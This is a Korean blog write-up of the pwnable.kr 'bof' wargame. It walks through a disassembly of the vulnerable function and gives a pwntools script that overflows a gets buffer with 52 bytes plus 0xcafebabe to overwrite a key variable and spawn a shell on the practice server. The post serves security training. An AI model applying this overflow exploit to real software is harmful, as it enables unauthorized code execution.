[pwnable.kr] bof
A A
[Toddler's Bottle] bof
5 points

Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?

 

 

readme 내용:

bof binary is running at "nc 0 9000" under bof_pwn privilege. get shell and read flag

 

뭔 말인지 모르겠어서 일단 패스

 

 

key = 0xdeadbeef

key 값을 0xcafebabe와 비교하고 일치하면 셸을 실행해줌

이때 비교하기 전 gets로 사용자 입력값을 받아서 overflowme에 저장하는데, 여기서부터 오버플로우시켜서 key를 조작해야 함

(gets는 버퍼 크기와 상관없이 입력 데이터의 크기를 제한하지 않는 대표적으로 취약한 함수)

 

pwndbg가 깔려있으므로 이걸 사용해서 func 함수의 스택 구조를 분석하겠음

 

pwndbg> disassemble func
Dump of assembler code for function func:
   0x000011fd <+0>:	push   ebp
   0x000011fe <+1>:	mov    ebp,esp
   0x00001200 <+3>:	push   esi
   0x00001201 <+4>:	push   ebx
   0x00001202 <+5>:	sub    esp,0x30
   0x00001205 <+8>:	call   0x1100 <__x86.get_pc_thunk.bx>
   0x0000120a <+13>:	add    ebx,0x2df6
   0x00001210 <+19>:	mov    eax,gs:0x14
   0x00001216 <+25>:	mov    DWORD PTR [ebp-0xc],eax
   0x00001219 <+28>:	xor    eax,eax
   0x0000121b <+30>:	sub    esp,0xc
   0x0000121e <+33>:	lea    eax,[ebx-0x1ff8]
   0x00001224 <+39>:	push   eax
   0x00001225 <+40>:	call   0x1050 <printf@plt>
   0x0000122a <+45>:	add    esp,0x10
   0x0000122d <+48>:	sub    esp,0xc
   0x00001230 <+51>:	lea    eax,[ebp-0x2c]
   0x00001233 <+54>:	push   eax
   0x00001234 <+55>:	call   0x1060 <gets@plt>
   0x00001239 <+60>:	add    esp,0x10
   0x0000123c <+63>:	cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x00001243 <+70>:	jne    0x1272 <func+117>
   0x00001245 <+72>:	call   0x1080 <getegid@plt>
   0x0000124a <+77>:	mov    esi,eax
   0x0000124c <+79>:	call   0x1080 <getegid@plt>
   0x00001251 <+84>:	sub    esp,0x8
   0x00001254 <+87>:	push   esi
   0x00001255 <+88>:	push   eax
   0x00001256 <+89>:	call   0x10b0 <setregid@plt>
   0x0000125b <+94>:	add    esp,0x10
   0x0000125e <+97>:	sub    esp,0xc
   0x00001261 <+100>:	lea    eax,[ebx-0x1fe9]
   0x00001267 <+106>:	push   eax
   0x00001268 <+107>:	call   0x10a0 <system@plt>
   0x0000126d <+112>:	add    esp,0x10
   0x00001270 <+115>:	jmp    0x1284 <func+135>
   0x00001272 <+117>:	sub    esp,0xc
   0x00001275 <+120>:	lea    eax,[ebx-0x1fe1]
   0x0000127b <+126>:	push   eax
   0x0000127c <+127>:	call   0x1090 <puts@plt>
   0x00001281 <+132>:	add    esp,0x10
   0x00001284 <+135>:	nop
   0x00001285 <+136>:	mov    eax,DWORD PTR [ebp-0xc]
   0x00001288 <+139>:	sub    eax,DWORD PTR gs:0x14
   0x0000128f <+146>:	je     0x1296 <func+153>
   0x00001291 <+148>:	call   0x12e0 <__stack_chk_fail_local>
   0x00001296 <+153>:	lea    esp,[ebp-0x8]
   0x00001299 <+156>:	pop    ebx
   0x0000129a <+157>:	pop    esi
   0x0000129b <+158>:	pop    ebp
   0x0000129c <+159>:	ret    
End of assembler dump.

 

overflowme: [ebp-0x2c]

key: [ebp+0x8]

 

두 변수가 52바이트만큼 차이나므로

52바이트는 아무거나로 덮고 그 후로 0xcafebabe를 넣으면 됨

 

 

카나리랑 PIE 있음 & 32비트 아키텍처

key만 덮고 리턴 주소나 카나리는 건드리지 않을 것이므로 카나리 체크 트리거 안됨(maybe)

 

from pwn import *

p = remote('0', 9000)

buf = b'A'*52
buf += p32(0xcafebabe)

p.sendline(buf)

p.interactive()

 

'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글

[pwnable.kr] collision  (0) 2025.07.04
[pwnable.kr] fd  (0) 2025.07.04
[드림핵] basic_exploitation_002  (0) 2025.04.18
[드림핵] Format String Bug  (0) 2025.04.11
[드림핵] out_of_bound  (0) 2025.04.10
Copyright 2024. GRAVITY all rights reserved